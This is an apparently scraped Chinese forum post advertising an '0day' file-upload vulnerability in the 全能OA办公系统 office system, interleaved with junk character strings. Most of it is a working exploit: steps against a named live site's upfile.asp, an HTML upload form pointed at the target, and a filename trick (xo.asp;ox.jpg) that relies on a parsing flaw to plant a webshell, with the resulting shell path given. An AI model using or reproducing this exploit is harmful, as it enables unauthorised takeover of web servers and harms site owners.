全能OA办公系统0day OA办公系统漏洞 上传漏洞

admin

全能OA办公系统 上传漏洞
" J0 g9 J" I6 t2 J3 M3 O​
6 c) W! O8 e" m3 l系统介绍：

全能OA办公系统2012是功能非常强大的OA系统，目前功能已完全能满足日常办公需要。
7 p- z8 V! H; Z. Y# B1 p) r
, ?4 W" e' B3 S+ c2 X主要功能：
! X$ [% P' m* z! A8 f; K8 x公司通告
6 t6 `! y. X( V2 i- _. K- f1 p7 Z工作计划
$ @- t- \8 v" F- T9 e8 v. O通讯助理
5 \/ F! y' }& t1 t7 H4 M- H2 p; p客户资源
我的公文
8 e+ L2 ^% M9 X+ Z0 |; U公文传阅
公共资源
资源预约
% I! Y. u+ P$ ]# x  z7 A今日考勤
8 p( T; T* Z% H- L个人计划
个人通讯录
% P# U* Z% ?$ u, `5 N; d个人基本档案
未读邮件
$ T" Q) ~/ l. J; m% Y6 b- _发邮件
收件夹
寄件夹
# N: _, d* H# H: H( c* M网络硬盘
网络会议
' I" l/ @; K/ Q( Y! O; J: i% J" S网络调查
# U4 x7 O6 n5 D& d1 c+ y3 s& C$ }交流论坛
5 O  |* N6 H, a( l4 |
. {) W+ J- g2 d  Y+ N# b% R有兴趣测试的朋友可以下源码看看

! S; u9 B( Y) b5 D' p$ z* c/ F+ }3 Z源码下载：

http://www.mycodes.net/30/4750.htm
- J5 k/ i6 A; w# ^
3 B+ m# Z9 |: e# B& r/ ?漏洞介绍：

由upfile.asp上传文件漏洞引起

测试方法：
( G7 ?$ M" ?" e1 l  G- w. A( P! [
使用名小子上传http://www.itlynn.com/upfile.asp即可

% V+ E* E# @6 ?! i" `, o, V9 ^( b8 D如果upfile.asp文件被删除不存在。

; @  g4 t, b: O0 Y$ x+ @  那么可以试着访问http://www.itlynn.com/upfile/upfile.asp 。

如果存在那么将如下代码保存为upfile.html。

然后将action的参数修改为目标站点的url。例如 http://www.itlynn.com/upfile/upfile.asp。

% V7 J% K# w* C: e; V- z

2 B  }5 z" c7 i  D# N( t# s01 <table border='0' align="center" cellpadding="5">

02 <form method="POST"action="http://www.itlynn.com/upfile/upfile.asp"enctype="multipart/form-data"id="form1"name="form1">

1 K. |1 O; N" p7 Z03 <tr>
" F- ^) @/ Y4 T, J
04             <td>报错：</td>
* X( V" E( Y; ~
05             <td><input type='radio' name='errnumber' value='0'>

06               自动更名
( H# r; A, z& R, N; o- |
( j% F% T' w4 `( X- c07               <input type='radio' name='errnumber' value='1' checked>
( `1 E  E) r- ?; i& I9 k
' c6 a  ^. V! K' U1 H6 ]4 H08               报错方式

09               <input type='radio' name='errnumber' value='2'>

+ G" \! d& X, D4 L10               直接覆盖</td>
1 x5 j0 l4 i) b2 h# H8 K9 ]
9 p6 E( e( ?7 J11           </tr>

12           <tr>
  Y5 A6 n0 D9 z1 v
13             <td>主题：</td>
8 T/ D& }+ v& i. M) H. S
$ l2 f5 P0 o0 J) t" Q' G, Y, z14             <td><input type='text' name='filename' size='30'></td>
, ]% x( q* N( E
# w" s' |0 Z' v/ `, |  m15           </tr>
+ g) E" N: v, F) E0 p3 }' s
16           <tr>
8 x- m3 N9 _  S
17             <td>文件：</td>
* X9 H2 B1 J8 R1 Y/ t
18             <td><input type="file"name="fruit"size="30"></td>
. x, {, c' J' a5 i4 B/ S
. s' h0 E7 v) R5 e" G' n* `) R19           </tr>

20           <tr>

2 a/ n( p4 ^+ h9 g1 a0 E21             <td valign='top'>简介：</td>
$ W8 [0 g( ^( y" D
22             <td><textarea name='fileExt' cols='40' rows='5'></textarea></td>

23           </tr>
$ [) P  U+ E& W9 x- y
; w- c  @$ [3 r# a24   

25             <td colspan='2'><input type="submit" value="上传文件" name="subbutt"></td>
* q- C7 e- o! S: q8 y2 Q% W
26           </tr>
" D% Y$ i# [1 C4 ?# h; \3 k( v
8 O, }6 a' O) d. A1 f6 u% T27         </form>

然后打开上传一个文件名为xo.asp;ox.jpg的文件。
$ ~  H: D8 v# L$ r+ ^9 n" {5 X
, ^+ u& E6 ~' [1 C. x

上传成功后，马的路径是：http://www.itlynn.com/upfile/savepath/xo.asp;ox.jpg

2 A+ O, P4 [7 t( d3 v1 g此漏洞需要配合解析漏洞利用。